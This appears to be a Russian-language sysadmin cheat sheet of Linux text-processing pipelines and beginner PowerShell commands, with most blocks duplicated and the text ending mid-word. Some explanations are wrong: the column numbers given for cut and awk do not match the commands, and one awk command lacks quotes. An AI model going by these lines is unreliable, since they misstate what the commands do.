cat zxc.csv | sort | uniq | cut -d ";" -f1,3 | sed "s/;/ /g"
Поясним про (sort) - выполняет сортировку
Поясним про (unic) - покажет уникальные значения
Поясним про (cut -d ";" -f1,3) в данном примере: 
(-f1,3) выбор столбца 3,4
(-d";")  выбор разделителя (;)
Поясним про (sed "s/;/ /g"), тут выполняется поиск символа ";" и замена на символ пробела " "

cat zxc.csv | sort | uniq | cut -d ";" -f1,3 | sed "s/;/ /g" > zxc2.txt - выполняем  (sort,unic,cut,sed) и сохранение в файл zxc2.txt

sed -i 's/printer/robot/g' zxc2.txt - ищем в файле (zxc2.txt) слово (printer) меняем его на (robot)
sed -i 's/robot/slon/1' zxc2.txt - ищем в файле (zxc2.txt) слово (robot) меняем его на (slon)

awk -F ';' '{ print $1,$3 }' zxc.csv  | sort | uniq - с помощью (awk -F ';' '{ print $1,$3 }' zxc.csv ) выводим на экран 1 и 2 столбцы из файла zxc.csv, сортируем, показываем уникальные строки 

cat zxc.csv | sed -e 's/;/ /g' | cut -d ' ' -f 1,3  | sort | uniq

cat zxc.csv | awk -F';' '{print $1,$3}' | sort | uniq

cat zxc.csv | sed -e 's/;/ /g' | cut -d ' ' -f 1,3  | sort | uniq

cat zxc1.csv  | sed -e '{s/-//g}'  -e '{s/(//g}' -e 's/)//g' -e '{s/+//g}' -e '{s/ //g}' -e '{s/,/ /}'

cat zxc.csv  | awk -F ';' '{print $1,$3}' | sort | uniq

cat zxc.csv | cut -f 1,3 -d ';' | sed 's/;/ /g' | sort | uniq

cat zxc.csv | cut -f 1,3 -d ';' | tr ';' ' ' | sort | uniq

history | cut -c 8-120

ps -uax | awk -F ' ' '{print $1,$2,$11}'

ls -latr | awk -F ' ' '{print $3,$9}'

cat zxc.csv | cut -f 3 -d";" | sort | uniq

Поясним про (cut -f 3 -d";") в данном примере:

(-f 3) выбор столбца 3

(-d";") выбор разделителя (;)

Поясним про (sort), он не обходим что бы работа (uniq) была выполнена правильно

Поясним про unic - покажет уникальные значения

cat zxc.csv | sort | uniq | cut -d ";" -f1,3 | sed "s/;/ /g"

Поясним про (sort) - выполняет сортировку

Поясним про (unic) - покажет уникальные значения

Поясним про (cut -d ";" -f1,3) в данном примере:

(-f1,3) выбор столбца 3,4

(-d";") выбор разделителя (;)

Поясним про (sed "s/;/ /g"), тут выполняется поиск символа ";" и замена на символ пробела " "

cat zxc.csv | sort | uniq | cut -d ";" -f1,3 | sed "s/;/ /g" > zxc2.txt - выполняем (sort,unic,cut,sed) и сохранение в файл zxc2.txt

sed -i 's/printer/robot/g' zxc2.txt - ищем в файле (zxc2.txt) слово (printer) меняем его на (robot)

sed -i 's/robot/slon/1' zxc2.txt - ищем в файле (zxc2.txt) слово (robot) меняем его на (slon)

awk -F ';' '{ print $1,$3 }' zxc.csv | sort | uniq - с помощью (awk -F ';' '{ print $1,$3 }' zxc.csv ) выводим на экран 1 и 2 столбцы из файла zxc.csv, сортируем, показываем уникальные строки

cat zxc.csv | sed -e 's/;/ /g' | cut -d ' ' -f 1,3 | sort | uniq

cat zxc.csv | awk -F';' '{print $1,$3}' | sort | uniq

cat zxc.csv | sed -e 's/;/ /g' | cut -d ' ' -f 1,3 | sort | uniq

cat zxc1.csv | sed -e '{s/-//g}' -e '{s/(//g}' -e 's/)//g' -e '{s/+//g}' -e '{s/ //g}' -e '{s/,/ /}'

cat zxc.csv | awk -F ';' '{print $1,$3}' | sort | uniq

cat zxc.csv | cut -f 1,3 -d ';' | sed 's/;/ /g' | sort | uniq

cat zxc.csv | cut -f 1,3 -d ';' | tr ';' ' ' | sort | uniq

history | cut -c 8-120

ps -uax | awk -F ' ' '{print $1,$2,$11}'

ls -latr | awk -F ' ' '{print $3,$9}'

Регистр:

echo 'word' | tr '[:lower:]' '[:upper:]' - перевести символы нижнего регистра в верхний
echo 'word' | tr '[:upper:]' '[:lower:]' - перевести символы верхнего регистра в нижний

1 2	echo 'word' \| tr '[:lower:]' '[:upper:]' - перевести символы нижнего регистра в верхний echo 'word' \| tr '[:upper:]' '[:lower:]' - перевести символы верхнего регистра в нижний

Ещё один пример достать нужное

1.txt
-----
mv: cannot stat '/etc/bareos/bareos-dir.d/catalog': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/director': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/messages': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/user': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/fileset': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/client': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/job': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/jobdefs': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/pool': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/schedule': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/storage': No such file or directory
mv: cannot stat '/etc/bareos/bareos-dir.d/use': No such file or directory
----

Достаем серединку:
cat 1.txt | cut -c `echo "mv: cannot stat " | wc -c`-`echo "mv: cannot stat '/etc/bareos/bareos-dir.d/schedule':"| wc -c` | sed -e "s/'//g" -e 's/:.*//'

cat 1.txt | cut -d "'" -f 2
cat 1.txt | awk -F"'" {print $2}

1.txt

-----

mv: cannot stat '/etc/bareos/bareos-dir.d/catalog': No such file or directory

mv: cannot stat '/etc/bareos/bareos-dir.d/director': No such file or directory

mv: cannot stat '/etc/bareos/bareos-dir.d/messages': No such file or directory

mv: cannot stat '/etc/bareos/bareos-dir.d/user': No such file or directory

mv: cannot stat '/etc/bareos/bareos-dir.d/fileset': No such file or directory

mv: cannot stat '/etc/bareos/bareos-dir.d/client': No such file or directory

mv: cannot stat '/etc/bareos/bareos-dir.d/job': No such file or directory

mv: cannot stat '/etc/bareos/bareos-dir.d/jobdefs': No such file or directory

mv: cannot stat '/etc/bareos/bareos-dir.d/pool': No such file or directory

mv: cannot stat '/etc/bareos/bareos-dir.d/schedule': No such file or directory

mv: cannot stat '/etc/bareos/bareos-dir.d/storage': No such file or directory

mv: cannot stat '/etc/bareos/bareos-dir.d/use': No such file or directory

----

Достаем серединку:

cat 1.txt | cut -c `echo "mv: cannot stat " | wc -c`-`echo "mv: cannot stat '/etc/bareos/bareos-dir.d/schedule':"| wc -c` | sed -e "s/'//g" -e 's/:.*//'

cat 1.txt | cut -d "'" -f 2

cat 1.txt | awk -F"'" {print $2}

ссылки:

https://www.opennet.ru/tips/1811_awk_shell.shtml - awk

1	https://www.opennet.ru/tips/1811_awk_shell.shtml - awk

Powershell разное

Конспект: powershell

Автор записи Автор: Evgeny Yakovlev
Дата записи 2020/11/20

Вводное:

powershell = командная оболочка, язык сценариев
1. Глагол - существительное
   (действие) - (объект)
2. Все время работаем с объектами

powershell = командная оболочка, язык сценариев

1. Глагол - существительное

(действие) - (объект)

2. Все время работаем с объектами

Начало работы:

Клавиша "TAB" авто дополнение ввода команд. 
Get-Service - показать службы
Get-Process - показать процессы
history - показать историю команд

Клавиша "TAB" авто дополнение ввода команд.

Get-Service - показать службы

Get-Process - показать процессы

history - показать историю команд

Начало работы со справкой:

Get-help - справка общая
Get-Command - справка по команде

-Verb - глагол / действие
Get-Command -Verb Get - покажет команды начинающиеся на Get

-Noun - существительное / объект
Get-Command -Noun service - покажет команды управления службами

Get-Command -Noun Module - покажет команды управления модулями

Get-Help Get-Module - показать справку по команде Get-Module где мы увидим интересный ключ -ListAvailable

Get-Module -ListAvailable - покажет все доступные команды модуля Get-Module

Get-Command -Module NetTCPIP - покажет информацию по функции  NetTCPIP

Get-Command -Module NetAdapter - покажет информацию по функции  NetAdapter


Help - помощь алиас команды Get-Help
Update-Help - обновление справочника команд

Get-Help Get-NetIPAddress - получить справку по модулю Get-NetIPAddress
Get-Help Get-NetIPAddress -Detailed  - получить справку по модулю Get-NetIPAddress, подробнее
Get-Help Get-NetIPAddress -Full - получить справку по модулю Get-NetIPAddress, все что есть 
Get-Help Get-NetIPAddress -Examples - получить примеры использования команды

Get-Help *IPaddress* - будет показано все команды где встречается *IPaddress* 

Get-Help about* - будут показаны файлы abaut, они не связаны с конкретным модулем  или функциями но в них есть интересная информация.
Get-Help about_aliases - будет показана справка по about_aliases

Get-Alias - показать все синонимы команд

Get-help - справка общая

Get-Command - справка по команде

-Verb - глагол / действие

Get-Command -Verb Get - покажет команды начинающиеся на Get

-Noun - существительное / объект

Get-Command -Noun service - покажет команды управления службами

Get-Command -Noun Module - покажет команды управления модулями

Get-Help Get-Module - показать справку по команде Get-Module где мы увидим интересный ключ -ListAvailable

Get-Module -ListAvailable - покажет все доступные команды модуля Get-Module

Get-Command -Module NetTCPIP - покажет информацию по функции NetTCPIP

Get-Command -Module NetAdapter - покажет информацию по функции NetAdapter

Help - помощь алиас команды Get-Help

Update-Help - обновление справочника команд

Get-Help Get-NetIPAddress - получить справку по модулю Get-NetIPAddress

Get-Help Get-NetIPAddress -Detailed - получить справку по модулю Get-NetIPAddress, подробнее

Get-Help Get-NetIPAddress -Full - получить справку по модулю Get-NetIPAddress, все что есть

Get-Help Get-NetIPAddress -Examples - получить примеры использования команды

Get-Help *IPaddress* - будет показано все команды где встречается *IPaddress*

Get-Help about* - будут показаны файлы abaut, они не связаны с конкретным модулем или функциями но в них есть интересная информация.

Get-Help about_aliases - будет показана справка по about_aliases

Get-Alias - показать все синонимы команд

Поиск команд кратко:

Update-Help 

Get-Command
         -Verb
         -Noun
         -Module
Get-Module
         -ListAvailable

Get-Help
        "Название команды"
        -Detailed
        -Full
        -Examples
        -Online

Update-Help

Get-Command

-Verb

-Noun

-Module

Get-Module

-ListAvailable

Get-Help

"Название команды"

-Detailed

-Full

-Examples

-Online

Пример поиска команды создания директории:

Get-Help mkdir - я помню что в cmd  команда звучит как mkdir, ищу и нахожу команду New-Item
Get-Help New-Item - получаю справку по команде New-Item
Get-Help New-Item -Examples - получаю примеры использования
New-Item -Path .\zxc1234 -ItemType Directory - создаю директорию zxc1234 в текущем каталоге

Get-Help mkdir - я помню что в cmd команда звучит как mkdir, ищу и нахожу команду New-Item

Get-Help New-Item - получаю справку по команде New-Item

Get-Help New-Item -Examples - получаю примеры использования

New-Item -Path .\zxc1234 -ItemType Directory - создаю директорию zxc1234 в текущем каталоге

Конвейер:

!!! В powershell самая важная часть это конвейеры!

Get-Service | Sort-Object Status | Select-Object -First 10 - нам покажут следующие: 
                                                             Get-Service выведет список сервисов и передаст дальше по конвейеру, 
                                                             Sort-Object примет данные, отсортирует по Status и отправит далее, 
                                                             Select-Object выберет первые 10 объектов и выведет результат на экран.


Для использования конвейера нужно понимать следующие:
0. Какие объекты передаются
                          - свойства
                          - методы
1. Какие свойства у объектов
Get-Member - полезная команда позволяет узнать свойства объекта и методы, параметры



Get-Service | Get-Member - узнаем какие есть методы и свойства у команды Get-Service
Get-Service | Get-Member -MemberType Properties  - узнаем какие есть свойства у команды Get-Service

dir - алиас команды Get-ChildItem 

dir c:\
Get-ChildItem c:\

dir c:\ | Get-Member
dir c:\windows | Get-Member -MemberType Property

Get-Process
Get-Process |Get-Member
Get-Process | Sort-Object -Property CPU

По умолчанию отображается по возрастанию а параметр "-Descending" позволяет отсортировать с большего к меньшему.
Get-Process | Sort-Object -Property CPU -Descending 

Что бы показать последние первые пять можно сделать выборку Select-Object -First 5
Get-Process | Sort-Object -Property CPU -Descending |Select-Object -First 5

-Property - это свойство объекта
-Method - это действие над объектом



Get-Service | Get-Member -MemberType Method - покажет доступны методы для Get-Service
Get-Service | Select-Object -First 3 - покажет первые три службы
Для выполнения метода есть специальная конструкция "ForEach-Object метод"
Get-Service | Select-Object -First 3 | ForEach-Object Stop


Get-Service | Out-File "xxx.txt" - перенаправить вывод команды в файл 
Get-Process | Sort-Object -Property CPU -Descending | Select-Object -First 10 | Out-File "ten_process_use_cpu.txt" - сохранит в файл ten_process_use_cpu.txt вывод команд в конвейере, там будет 10 процессов использующих больше всех CPU.

Out-File - это перенаправление вывода, и подходит для чтения человеком
Export-CSV - это специальный формат csv удобно читаемы для машины

Get-Service | Export-Csv "get_service.csv"
Get-Process |Sort-Object -Property CPU -Descending | Select-Object -First 10 | Export-CSV  "ten_process_use_cpu.csv"


Import-Csv .\get_service.csv - выведет на экран содержимое CSV файла
Import-Csv .\get_service.csv | Get-Member - спросим у Get-Member что это 

Import-Csv .\get_service.csv | Select-Object -First 1 

Format-Table - выполнит форматирование отображения в виде таблицы
Format-Wide  - выведет форматирование отображения в сокращенном виде

Import-Csv .\get_service.csv | Select-Object -First 1 | Format-Table 
Import-Csv .\get_service.csv | Select-Object -First 1 | Format-Wide

Import-Csv .\get_service.csv |  Select-Object -First 1 | ForEach-Object start
Import-Csv .\get_service.csv |  Select-Object -First 1 | ForEach-Object stop

!!! В powershell самая важная часть это конвейеры!

Get-Service | Sort-Object Status | Select-Object -First 10 - нам покажут следующие:

Get-Service выведет список сервисов и передаст дальше по конвейеру,

Sort-Object примет данные, отсортирует по Status и отправит далее,

Select-Object выберет первые 10 объектов и выведет результат на экран.

Для использования конвейера нужно понимать следующие:

0. Какие объекты передаются

- свойства

- методы

1. Какие свойства у объектов

Get-Member - полезная команда позволяет узнать свойства объекта и методы, параметры

Get-Service | Get-Member - узнаем какие есть методы и свойства у команды Get-Service

Get-Service | Get-Member -MemberT